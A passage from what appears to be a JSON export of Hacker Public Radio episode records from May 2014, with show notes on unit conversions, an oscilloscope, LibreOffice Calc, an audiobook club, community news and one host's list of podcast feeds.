--------- = 39.37 in (approximate)\n                                    2.54 cm \n\n       1 kilometer = 1,000 meters\n       \n\n   - Basics of area:\n \n       1 are = 100 sq meters  (area of a square that's 10m on each side)\n       \n                                          100 sq m\n       1 hectare = 100 ares = 100 ares * ---------- = 10,000 sq meters\n                                           1 are\n\n3. For short distances, we should do our conversions fairly precisely.\n\n   - There's usually a higher relative error from rounding off too soon.\n   - If you measure wood for a small project, you want to be \"close\".\n\n                        2.54 cm\n   So 1 foot = 12 in * --------- = 30.48 cm exactly.  Cut carefully!\n                        1 in\n\t\t\t    \n4. For larger distances, like distances covered in track and field, or\n     the length of a football pitch (to a spectator), approximations can \n     give you a nice intuition for comparing units you know and a new\n     set of units that you don't know as well.\n     \n   - 1 meter is around 39.37 inches.  Suppose I call it about 1.10 yards\n        as a kind of approximate benchmark (39.60 in), so each meter in \n        my reckoning is about a quarter of an inch too long?  \n   \n   - If I'm planning a space mission, I could be in trouble. \n       But how bad would this be for getting an intuitive feel of the \n       distances covered by the athletes in the Olympic Games?\n\n   - Error at  100 meters is about 0.23 in (0.6 cm) * 100 = 60 cm over\n           at  200 meters, it's 1.1 m over.\n           at 1 kilometer, it's 5.6 m over.\n\t   \n     Unless you're a long-range sharpshooter, 5.6m off in 1 km seems OK.\n\n\n5. Bonus: The news talked about a wildfire that burned 100,000 hectares.\n      What kind of area are we talking about?\n\n   - Let's use our approxmation of 1 meter is about 1.1 yards.\n   \n   - Acres are defined in terms of \"square chains\", so let's look at \n        meters vs chains to see what we get.\n\t\n\t                                               1 m\n     1 chain = 4 linear rods = 22 yds = 22 yds * -------- = about 20m\n                                                  1.1 yd\n\n                                                 20m     20m\n     1 acre = 10 square chains = 10 ch * 1 ch * ----- * ------\n                                                1 ch     1 ch\n\t\t\t\t\t\t       \n\t    = 10 * 1 * 20m * 20m = 4,000 square meters, or 0.4 hectares\n\n   - Wow!  An acre's about 0.4 hectares, or 1 hectare's about 2.5 acres.\n\n\n   So what's the answer?\n                                               2.5 acres   \n      a) 100,000 hectares = 100,000 hectares * --------- = 250,000 acres\n                                               1 hectare \n\n\n                                            1 sq. mi    250,000\n      b) 100,000 hectares = 250,000 acres * --------- = ------- sq. mi\n                                            640 acres     640\n\t\t\t\t\t    \n\t                  = 391 sq. miles (about 400 sq miles)\n\n   Note: This suggests a shortcut conversion (hectares to square miles).\n\n                                 640 acres   1 hectare\n    1 square mile = 1 sq. mile * --------- * --------- = 256 hectares\n                                 1 sq. mi.   2.5 acres\n\n\n6. Final check: Error analysis on this approximate conversion from \n      hectares to acres or square miles.\n\n   - Using Google or 'units' in the shell, we have:\n   \n     1 sq mi = 259 hectares to 6 significant digits, versus 256 (1%)\n\n     Note: If we used 250 hectares per square mile, the relative error \n       is 3.5%.  That's less than the error in the news report.\n\n     1 hectare = 2.47105 acres, versus 2.5 (1% error)\n\n   Units shell command: Dann Washko did a really nice job on 'units' for HPR.\n    * Linux in the Shell #26: https://www.linuxintheshell.org/\n    * HPR Episode #1213: https://hackerpublicradio.org/eps.php?id=1213\n\n\nFinal word: Unless you are buying, selling or cultivating land, use the \n  cruder approximations here to understand the relationships between \n  acres, hectares and square miles.  It will make you seem smarter.\n  \n  - If someone calls you out and says it's wrong, blame \"that guy on HPR.\"\n\n\nNext Topic?  Volumes and recipes, other than medicines (separate topic)\n  - Volumes are the bottom line in cooking, unless they aren't.\n  - Hint: You should weigh some items, like some kinds of flour.\n
      ","hostid":229,"series":72,"explicit":0,"license":"CC-BY-SA","tags":"mile,furlong,foot,hand,yard,conversion,metric system","version":0,"downloads":1344,"valid":1}, {"id":1503,"date":"2014-05-07","title":"Making Waves-The DSO Pocket Oscilloscope","duration":1280,"summary":"NYbill discusses the DSO Pocket Oscilloscope v3. A few circuits are set up to test it","notes":"

      \nNYbill discusses the DSO Pocket Oscilloscope v3. A few test circuits are set up to put the scope through its paces. \n

      \n

      \nThe DSO at Adafruit:\nhttps://www.adafruit.com/products/468\n

      \n

      \nThe 555 timer chip:\nhttps://electronicsclub.info/555timer.htm#astable\n

      \n

      \nThe script used to blink the Teensy:\nhttps://www.pjrc.com/teensy/loader_linux.html\n

      \n

      \nPictures for the episode:\nhttps://media.gunmonkeynet.net/u/nybill/collection/pics-for-an-hpr-ep-making-waves/\n

      \n\t","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"electronics,oscilloscope,555 timer,teensy","version":0,"downloads":1402,"valid":1}, {"id":1504,"date":"2014-05-08","title":"HPR at NELF 2014 Afterparty","duration":2358,"summary":"In this episode, Members of the HPR community, and attendees of NELF share their thoughts about the ","notes":"

      \nIn this episode, Members of the HPR community, and attendees of NELF share their thoughts about the 2014 Northeast GNU/Linux Fest. Sorry for the dynamic range of this one. I levelled it out the best I could. Also sorry for getting this out so late. RL has been kicking my ass lately.\n

      \n

      \nSome interesting things that were mentioned that may be worth checking out:\nThe NELF talks and website:\n

      \n\n\n\n

      \nThe Zoom H1 Recorders are fantastic devices, and we need to thank the HPR community for chipping in to buy one. They definitely pick up more sound than I did when the podcast was being recorded. I heard things in playback that I wish I had heard and addressed during the live recording. \n

      \n

      \nThanks to Richard Stallman for the lyrics to the Free Software Song\n

      \n

      \nThanks to The GNU/Stallmans for their performance of the Free Software Song on the RevolutionOS documentary. https://www.revolution-os.com/\n

      \n

      \nWe all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.\n

      \n

      \nSincerely,\nThe HPR conference crew\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Conference Interviews","version":0,"downloads":1335,"valid":1}, {"id":1505,"date":"2014-05-09","title":"28 - LibreOffice Calc - Fills, an Introduction","duration":903,"summary":"This episode looks at the filling rows and columns using click-and-drag.","notes":"

      \nOne of the key techniques in using a spreadsheet is to master the art of fills, which lets you fill a column or a row with data without having to type in every cell individually. And this technique requires that there be a predictable pattern to the contents of each cell as you fill them. But you can do a lot with this technique, and we will want to use this when we do our first model, which will be a simple savings model.\n

      \n

      \nBut first we need to build the tools in our tool kit, and fills are a big one. To begin with, you can fill either rows or columns, though columns are more frequently filled using this technique. Still, it is good to know you can do either. The simplest fill begins with a cell that has some kind of contents. For example, lets say that cell B1 contains the word \"Rain\". If you click on the cell, you will see it highlighted with a thick black border\n

      \n

      \nFor the remainder of the show notes please see https://www.ahuka.com/?page_id=734\n

      \n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, fills","version":0,"downloads":1431,"valid":1}, {"id":1506,"date":"2014-05-12","title":"HPR AudioBookClub 6 Shaman Tales Book 1 South Coast","duration":3595,"summary":"In this episode, the hackerpublicradio.org Audiobook Club reviews Shaman Tales Book1: South Coast.","notes":"

      \nIn this episode, the hackerpublicradio.org Audiobook Club reviews Shaman Tales Book1: South Coast. You can download this audiobook for free (or voluntary donation) from https://podiobooks.com/title/shaman-tales-1-south-coast/ and available in paperback on Amazon https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431\n

      \n

      \nDuring this show the hosts also discuss beverages.\nColin was drinking a Badger Brewery Golden Glory, and quite enyoyed it. https://www.hall-woodhouse.co.uk/beer/golden-glory \npokey drank a Fosters Lager, and he didn't like it very much. Thankfully he only wanted it for the can. Sadly, it really seemed to go straight to his head. https://www.fostersbeer.com/ \nAccording to Fosters' website, \"You need to upgrade your Flash Player.\" Good luck with that.\n

      \n

      \nOur next audiobook will be The Crown Conspiracy by Michael J. Sullivan\nhttps://podiobooks.com/title/the-crown-conspiracy/\nThis book was suggested by pokey. pokey likes The Crown Conspiracy very much and has found it appropriate to suggest to both his mother and his daughter.\n

      \n

      \nYou can find more content (including podcasts) from Nathan Lowell https://nathanlowell.com/\nWe discussed looking up interviews with Nathan Lowell, and as it turns out he has links to lots of them on his website https://nathanlowell.com/multimedia/interviews-articles/ If you're a Nathan Lowell fan, you've got many hours of enjoyment ahead of you. \n

      \n

      \nColin welcomes your feedback via email to gigasphere\"nineteeneighty\" at gee mail dot com\npokey prefers his feedback to come via the hacker public radio comment system.\n

      \n

      \nPlease remember to visit the HPR contribution page. We could really use your help right now. https://hackerpublicradio.org/contribute.php\n

      \n

      \nWe both had a great time recording this show, and we hope you enjoyed it as well. We hope you'll consider joining us next time. Thank you very much for listening.\n

      \n

      \nSincerely,\nThe HPR_AudioBookClub\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":1339,"valid":1}, {"id":1507,"date":"2014-05-13","title":"HPR Community News for April 2014","duration":4059,"summary":"Website changes, comment systems, Series help, Ham Radio, Show tagging","notes":"

      HPR Community News for April 2014

      \n\n

      New hosts

      \n

      \nWelcome to our new hosts:
      \n x1101, \n John Duarte.\n

      \n\n

      Last Month's Shows

      \n\n \n\t\n\t\n\t\n\t\n\t\n \n \n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n \n
      IdTitleHost
      1477OSI layer 3Various Hosts
      1478Batteries Part 2MrX
      147901 What is on my podcast playerAhuka
      1480Continuous Ink Supply SystemKen Fallon
      1481Encryption and GmailAhuka
      148202 What is on my podcast playerAhuka
      1483HPR Community News for March 2014HPR Admins
      1484TuxJam31Andrew Conway
      148526 - LibreOffice Calc CellsAhuka
      1486Linux Luddites Episode 11 - Interview with Rob LandleyKen Fallon
      1487How I Found Linuxx1101
      1488What's on My PodcatcherKeith Murray
      1489Setting up a Raspberry Pi and RaspBMCCurtis Adkins (CPrompt^)
      1490HPR at NELF 2014 Part1pokey
      1491Heartbleedlaindir
      1492HPR at NELF 2014 Part2NYbill
      1493The Next Gen is You (1/2)klaatu
      1494The Next Gen is You (2/2)klaatu
      149527 - LibreOffice Calc - Calculations and the Formula BarAhuka
      1496wiki on the raspberry piMrX
      1497Practical Math - Units - Distances and Area, Part 1Charles in NJ
      1498Personal OpenVPNJohn Duarte
      \n\n

      Mailing List discussions

      \n

      \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes \nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

      \n

      \nDiscussed this month was:\n

      \n
        \n
      • Something went wrong with episode 1477 :)
      • \n
      • Community News shows should have a reserved slot.
      • \n
      • Comment system, versus Forums versus disqus versus ...
      • \n
      • Help with the Series
      • \n
      • Help tagging shows
      • \n
      • Call for Shows
      • \n
      • Ken is looking for Ham Radio content
      • \n
      • Seetee, is our man in Sweden
      • \n
      \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1384,"valid":1}, {"id":1508,"date":"2014-05-14","title":"In Defense of Play","duration":1593,"summary":"Just a few words in defense of play. It is the best way to learn new things.","notes":"

      \nThis episode is a just-for-fun show in which I make a few observations in defense of just playing around. We need to \nstop worrying about work and to-do lists every once in a while in order to just get up off our chairs and do something\nthat is fun. It doesn't have to have a structure at first, but it should involve a challenge or exposure to at least\none new thing, or place, or person, or idea.\n\nI think it is the best way to learn, because the knowledge and acquisition of skills sneak up on you while you are\nhaving fun. It may be the only way to make learning really stick, and to stick with the learning process.\n

      \n\n

      Links

      \n

      \n

      \n

      \nDr. Peter Gray on the Play Deficit: https://aeon.co/magazine/being-human/children-today-are-suffering-a-severe-deficit-of-play/\n

      \n\n

      \nArticles from the Journal of Play: https://www.ecswe.org/wren/researchpapers_theimportanceofplay.html\n

      ","hostid":229,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"play, learning, fun","version":0,"downloads":1431,"valid":1}, {"id":1509,"date":"2014-05-15","title":"HPR Needs Shows","duration":181,"summary":"HPR is short of shows and we need you to send in some today","notes":"

      \nHPR is short of shows and we need you to send in some today\n

      ","hostid":159,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, shows, request, call to action, community, contribute","version":0,"downloads":1366,"valid":1}, {"id":1510,"date":"2014-05-16","title":"What's in My Bag?","duration":1858,"summary":"Just a few words about what's in my bag(s).","notes":"

      \nThis episode is a just-for-fun show in which I walk systematically through\nthe bags I was carrying to work on a particular day, and describe what I\nhave found inside.\n

      ","hostid":229,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"play, learning, fun","version":0,"downloads":1513,"valid":1}, {"id":1511,"date":"2014-05-19","title":"How to skin a snake","duration":962,"summary":"How to skin a snake, and cure the skin for later use","notes":"

      \nHow to skin a snake, and cure the skin for later use\n

      ","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"snake,skin,curing","version":0,"downloads":1353,"valid":1}, {"id":1512,"date":"2014-05-20","title":"Adopting and Renovating a Public-Domain Counterpoint Textbook","duration":1252,"summary":"I discuss one of my latest projects, a digital overhaul of a 100+ year old counterpoint textbook","notes":"

      \nIn this episode I discuss the problem of increasingly expensive college textbooks, and share with you the solution I devised to combat the problem in my counterpoint class at the University of Louisiana at Lafayette.\n

      \n

      \nPart of the solution is to adopt a public-domain textbook that's more than 100 years old, and to give the text a 21st-century makeover that I believe will make it even better-suited for the digital age than any other comparable book in the market at any price.\n

      \n

      \nhttps://jonathankulp.org/gratis.html: \nThe counterpoint page on my website, with source files and information about my creative-commons counterpoint workbook, \"Gratis ad Parnassum,\" as well as links to the 1910 counterpoint textbook by\nPercy Goetschius: https://en.wikipedia.org/wiki/Percy_Goetschius entitled \"Exercises in Elementary Counterpoint.\"\n

      \n

      \nMy html version of the Goetschius textbook (in progress): https://jonkulp.net/350/Goetschius/goetschius.html\n

      ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"public-domain, textbooks, music, counterpoint, Lilypond, html, scripting","version":0,"downloads":1356,"valid":1}, {"id":1513,"date":"2014-05-21","title":"Stir-Fried Stochasticity: Bio-Boogers","duration":877,"summary":"Epicanis demonstrates a show concept: REAL science news, direct from a scientific journal articles","notes":"

      \nThis is a show concept I came up with half a decade ago, as the show itself explains. The journal article may be found as PubMed ID#19323757 ( https://www.ncbi.nlm.nih.gov/pubmed/19323757 ) if you want to follow along.\n

      \n

      \nHopefully the updated time references below for the show-note comments are now correct for this version of it. They should be close, anyway. \n

      \n

      \nAlso, I'm oddly pleased at how inferior the \"old\" part of today's episode sounds: it means I've actually gotten a lot better at recording and editing.\n(It's quite listenable still, I think, it just doesn't sound as good as the newer stuff.)\n

      \n\n
        \n
      • 03:46 Ding WK,Shah NP:\"Effect of Various Encapsulating Materials on the Stability of Probiotic Bacteria\";2009;J. Food Sci.;vol.74 #2; pp M100-M107\n
      • \n
      • 07:10 For your copy-and-paste pleasure: de Man JD,Rogosa M, Sharpe ME:\"A Medium for the Cultivation of Lactobacilli\";1960; J. Appl. Bact.;23; 130-135\n
      • \n
      • 07:52 I'm pretty sure that the Hasbro corporation, owners of the \"Play-Doh(tm)\" trademark, don't actually make microfluidizers - it's just an analogy\n
      • \n
      • 10:25 -=Executive Summary=-\n
      • \n
      • 11:05 Yes, including you...\n
      • \n
      • 11:47 Yes, \"Fecal Transplants\". Ewwww.\n
      • \n
      • 11:53 You're welcome.\n
      • \n
      • 12:30 If you're not familiar with this kitchen gadget, a \"French Press\" is a device for making coffee or tea. It's A glass cylinder with a fine wire-screen plunger. I suspect you could \"plunge\" the ingredients together repeatedly to get a sloppy substitute for the microfluidizer processing.\n
      • \n
      • 12:28 Larger volume/surface-area ratio, you see... (The \"Album Art\" photo is \"She Slimed Me\", by \"Jurveston\" on Flickr: https://www.flickr.com/photos/jurvetson/131023758/ )\n
      • \n
      • 03:46 Ding WK,Shah NP:\"Effect of Various Encapsulating Materials on the Stability of Probiotic Bacteria\";2009;J. Food Sci.;vol.74 #2; pp M100-M107\n
      • \n
      • 06:14 (update the location of the \"Executive Summary\" from \"the 8 minute mark\" to \"the 10 minute 20 second mark\")\n
      • \n
      • 07:10 For your copy-and-paste pleasure: de Man JD,Rogosa M, Sharpe ME:\"A Medium for the Cultivation of Lactobacilli\";1960; J. Appl. Bact.;23; 130-135\n
      • \n
      • 07:52 I'm pretty sure that the Hasbro corporation, owners of the \"Play-Doh(tm)\" trademark, don't actually make microfluidizers - it's just an analogy\n
      • \n
      • 10:25 -=Executive Summary=-\n
      • \n
      • 11:05 Yes, including you...\n
      • \n
      • 11:47 Yes, \"Fecal Transplants\". Ewwww.\n
      • \n
      • 11:53 You're welcome.\n
      • \n
      • 12:30 If you're not familiar with this kitchen gadget, a \"French Press\" is a device for making coffee or tea. It's A glass cylinder with a fine wire-screen plunger. I suspect you could \"plunge\" the ingredients together repeatedly to get a sloppy substitute for the microfluidizer processing.\n
      • \n
      • 12:28 Larger volume/surface-area ratio, you see...\n

        \n
      • \n
      ","hostid":182,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Stir-Fried Stochasticity, science, microbiology, food science, polysaccharides, food, probiotics, snot, boogers, digestion","version":0,"downloads":1358,"valid":1}, {"id":1514,"date":"2014-05-22","title":"Give The Small Guy A Try","duration":730,"summary":"Beeza and seeing if there is software which may suit your needs better than the mainstream","notes":"

      \nBeeza hates being told what to do. When he moved over to Linux he noticed how most users were barely scratching the surface of the huge choice of software offered by the repositories. Rather than just go with the flow and settle for what everybody else was using, it was in his nature to look for alternatives to the most popular applications.\n

      \n

      \nHe discovered some total rubbish, but also some real gems which deserve far greater exposure than they receive. Reviews of some of these excellent but relatively unknown packages will form the basis of future HPR episodes.\n

      \n

      \nIn this episode Beeza makes the case for investing a little time digging around in the repositories to see if there is software which may suit your requirements better than the mainstream applications.\n

      \n","hostid":246,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Libre Office,mhWaveEdit,Decibel Audio Player","version":0,"downloads":1528,"valid":1}, {"id":1515,"date":"2014-05-23","title":"29 - LibreOffice Calc - Models and \"What-If\" Analysis","duration":774,"summary":"This episode looks at building models and doing \"What-If?\" Analysis.","notes":"

      \nThe next topic is extremely important because it addresses where most beginning users of spreadsheets get into trouble. First, understand that building models and doing \"What-If\" analysis is fundamental to the success and widespread adoption of spreadsheets all over the world. A model can be thought of as a mathematical representation of a process of some kind. It could be financial, such as projecting my sales over the next year, or perhaps working out when my car loan will be paid off. Or it could be scientific, such as projecting out the reaction times and quantities in a chemical reaction. The only real requirement is that whatever you are modeling has to be something that can be represented using mathematical formulas of some kind.\n

      \n

      \n\"What-If\" analysis takes this model and lets you experiment to see how how changes in different variables affect the results in your model. If I am figuring out when my car loan will be paid off, I might ask how paying an extra $20 per month against the principle would affect my results (presumably, it should lead to getting it paid off sooner if I set the model up correctly.) Or in the case of the chemical process, how would different temperatures or pressures affect the reaction times and quantities? By experimenting with different values in my model I can do this comparison easily. But only if I built the model properly in the first place.\n

      \n

      \nFor the remainder of the show notes please see https://www.ahuka.com/?page_id=752\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc","version":0,"downloads":1427,"valid":1}, {"id":1516,"date":"2014-05-26","title":"01 The podcasts I listen to","duration":1439,"summary":"I listen to a lot of podcasts and thought it might be interesting if I shared them on HPR","notes":"

      I listen to a lot of podcasts. I started listening to them back in around 2005 after buying my first portable player.

      \n

      I now listen to podcasts to the exclusion of just about everything else and have several players which I rotate between. I gave up watching TV over two years ago. I have written my own podcatcher software based upon Bashpodder, with a PostgreSQL database to manage everything, which holds feed, episode, playlist and player details.

      \n

      My interests range from Astronomy to Virology with a bias towards IT-related subjects. I currently subscribe to 85 feeds, which I present to you here in two batches. I have attached my own category to each feed, so I can load all the Science episodes on one player, and Documentary episodes on another, and so forth. I have added the category to the list as well and have sorted the list by category and the title.

      \n

      Note: The list below is generated by a script which performs a query on my database. I have relied on parsing the feeds themselves for the websites, using the link value. In a few cases the value is unfortunately incorrect or missing because the feed is mis-configured.

      \n

      I have included an OPML version of the list in case you want to load it or part of it into your podcatcher. Find it at hpr1516.opml

      \n
        \n
      1. \n

        Friday Night Comedy from BBC Radio 4

        \n \n
      2. \n
      3. \n

        Geologic Podcast

        \n \n
      4. \n
      5. \n

        Documentary of the Week

        \n \n
      6. \n
      7. \n

        In Our Time With Melvyn Bragg

        \n \n
      8. \n
      9. \n

        Lives in a Landscape

        \n \n
      10. \n
      11. \n

        The Radio 3 Documentary

        \n
          \n
        • Website: https://www.bbc.co.uk/programmes/b006tnwp
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio3/r3docs/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-04
        • \n
        • Description: In-depth documentaries which each week explore a different aspect of history, science, philosophy, film, visual arts and literature. The Sunday Feature is broadcast every Sunday at 7.45pm on BBC Radio 3. Each episode lasts 45 minutes. We aim to include as many episodes of The Sunday Feature in the podcast as we can but you'll find that some aren't included for rights reasons.
        • \n
        • Category: Documentary
        • \n
        \n
      12. \n
      13. \n

        Costing the Earth

        \n
          \n
        • Website: https://www.bbc.co.uk/programmes/b006r4wn
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/costearth/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-13
        • \n
        • Description: Man's effect on the environment, questioning accepted truths, challenging those in charge and reporting on progress towards improving the world. Presenters, Tom Heap and Dr Alice Roberts, travel the UK and the world in search of solutions to the challenges facing the natural world and the people and wildlife that live in it. Broadcast at 21.00 on Mondays, Costing the Earth runs for 27 weeks of the year, split into three series. Podcast episodes are added weekly.
        • \n
        • Category: Environment
        • \n
        \n
      14. \n
      15. \n

        Mark Kermode and Simon Mayo's Film Reviews

        \n \n
      16. \n
      17. \n

        The Film Programme

        \n \n
      18. \n
      19. \n

        Escape Pod

        \n
          \n
        • Website: https://escapepod.org
        • \n
        • Feed: https://escapepod.org/feed/
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-12
        • \n
        • Description: The Science Fiction Podcast Magazine. Each week Escape Pod delivers science fiction short stories from today's best authors. Listen today, and hear the new sound of science fiction!
        • \n
        • Category: Literature
        • \n
        \n
      20. \n
      21. \n

        PodCastle

        \n \n
      22. \n
      23. \n

        CCHits.net

        \n
          \n
        • Website: https://cchits.net/daily
        • \n
        • Feed: https://cchits.net/daily/rss
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-14
        • \n
        • Description: CCHits.net is designed to provide a Chart for Creative Commons Music, in a way that is easily able to be integrated into other music shows that play Creative Commons Music. CCHits.net has a daily exposure podcast, playing one new track every day, a weekly podcast, playing the last week of tracks played on the podcast, plus the top rated three tracks from the previous week. There is also a monthly podcast which features the top rated tracks over the whole system.
        • \n
        • Category: Music
        • \n
        \n
      24. \n
      25. \n

        Best of Natural History Radio

        \n \n
      26. \n
      27. \n

        Coast and Country

        \n
          \n
        • Website: https://www.bbc.co.uk/programmes/b006qgft
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/country/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-08
        • \n
        • Description: Countryside magazine featuring people, walks and wildlife from rural Britain. Clare Balding’s ‘Ramblings’ and ‘Open Country’ with Matt Baker and Helen Mark join forces to bring you a weekly tour of the best of the British countryside. In ‘Ramblings’ Clare joins her guests on a country walk that’s been significant in their lives. ‘Open Country’ travels to a different corner of the British Isles every week, seeking out the wildlife, the landscapes and the controversies that excite the passions of local people. Each twenty-five minute programme is broadcast on Saturday at 6.07am and repeated on Thursday at 3pm. New episodes are added every Saturday morning.
        • \n
        • Category: Nature
        • \n
        \n
      28. \n
      29. \n

        From Our Own Correspondent

        \n
          \n
        • Website: https://www.bbc.co.uk/fromourowncorrespondent
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/fooc/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-10
        • \n
        • Description: Insight, wit and analysis as BBC correspondents, journalists and writers take a closer look at the stories behind the headlines. Presented by Kate Adie. Broadcast on BBC Radio 4 in the UK on Thursdays at 1100 (local time) and Saturdays at 1130 (local time) for about 25 weeks of the year. BBC World Service broadcasts every day from Monday to Friday plus a weekend edition all year round, presented by Pascale Harter. For more information, a full list of programme broadcast times and the podcast Terms of Use go to www.bbc.co.uk/fromourowncorrespondent
        • \n
        • Category: News
        • \n
        \n
      30. \n
      31. \n

        Peter Day's World of Business

        \n \n
      32. \n
      33. \n

        A Point of View

        \n \n
      34. \n
      35. \n

        Moral Maze

        \n \n
      36. \n
      37. \n

        Thinking Allowed

        \n \n
      38. \n
      39. \n

        365 Days of Astronomy

        \n \n
      40. \n
      41. \n

        Astronomy Cast

        \n \n
      42. \n
      43. \n

        AWESOME ASTRONOMY

        \n
          \n
        • Website: https://awesomeastronomy.com
        • \n
        • Feed: https://awesomeastronomy.libsyn.com/rss
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-01
        • \n
        • Description: Awesome Astronomy is the show for anyone and everyone who has even the slightest interest in astronomy and science. Join Ralph & Paul at the beginning of each month, for an informative and fun astronomy program exploring the mysteries and wonders of the universe. You can be guaranteed a passion for astronomy, simple explanations of complex and fundamental topics, space and science news, absorbing interviews and answers to listeners' astronomy questions. As both presenters have been accused of being a little skeptical in the past, you can also expect everything to be fact-based but frivolous, with an emphasis on highlighting the wonderful science that reveals ever more about our complex and exciting universe. Join us on our journey to understand it all!
        • \n
        • Category: Science
        • \n
        \n
      44. \n
      45. \n

        BBC Inside Science

        \n
          \n
        • Website: https://www.bbc.co.uk/programmes/b036f7w2
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/inscience/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-08
        • \n
        • Description: Adam Rutherford and guests illuminate the mysteries and challenge the controversies behind the science that's changing our world. Covering everything from the humble test tube to the depths of space, Inside Science is your guide to how science is evolving, transforming our culture, and affecting our lives.
        • \n
        • Category: Science
        • \n
        \n
      46. \n
      47. \n

        Click

        \n \n
      48. \n
      49. \n

        Discovery

        \n \n
      50. \n
      51. \n

        Dr Karl and the Naked Scientist

        \n \n
      52. \n
      53. \n

        Inside Health

        \n \n
      54. \n
      55. \n

        Naked Astronomy - From the Naked Scientists

        \n \n
      56. \n
      57. \n

        Naked Genetics - Taking a look inside your genes

        \n \n
      58. \n
      59. \n

        Naked Neuroscience - From the Naked Scientists

        \n \n
      60. \n
      61. \n

        Naked Oceans from the Naked Scientists

        \n \n
      62. \n
      63. \n

        Science for the People

        \n
          \n
        • Website: https://www.scienceforthepeople.ca/
        • \n
        • Feed: https://feeds.feedburner.com/SkepticallySpeaking
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-09
        • \n
        • Description: Science for the People is a syndicated radio show and podcast based in Edmonton, Alberta, that broadcasts weekly across North America. We explore the connections between science, popular culture, history, and public policy, to help listeners understand the evidence and arguments behind what's in the news and on the shelves.
        • \n
        • Category: Science
        • \n
        \n
      64. \n
      65. \n

        Science in Action

        \n \n
      66. \n
      67. \n

        The Digital Human

        \n \n
      68. \n
      69. \n

        The Infinite Monkey Cage

        \n
          \n
        • Website: https://www.bbc.co.uk/programmes/b00snr0w
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-03-10
        • \n
        • Description: Award winning science/comedy chat with Brian Cox, Robin Ince and guests. Witty, irreverent look at the world according to science with physicist Brian Cox and comedian Robin Ince. New Series starting on BBC Radio 4, Monday 18th November at 4.30pm (repeated on Tuesday evenings at 11pm) for 6 weeks.
        • \n
        • Category: Science
        • \n
        \n
      70. \n
      71. \n

        The Life Scientific

        \n
          \n
        • Website: https://www.bbc.co.uk/radio4
        • \n
        • Feed: https://downloads.bbc.co.uk/podcasts/radio4/tls/rss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-08
        • \n
        • Description: Each week, Jim al-Khalili invites a leading scientist to tell us about their life and work. He'll talk to Nobel laureates as well as the next generation of beautiful minds to find out what inspires and motivates them and what their discoveries might do for us.
        • \n
        • Category: Science
        • \n
        \n
      72. \n
      73. \n

        - The Naked Scientists Podcast - Stripping Down Science

        \n \n
      74. \n
      75. \n

        This Week in Microbiology with Vincent Racaniello

        \n
          \n
        • Website: https://www.microbeworld.org/twim
        • \n
        • Feed: https://feeds.feedburner.com/twim
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-01
        • \n
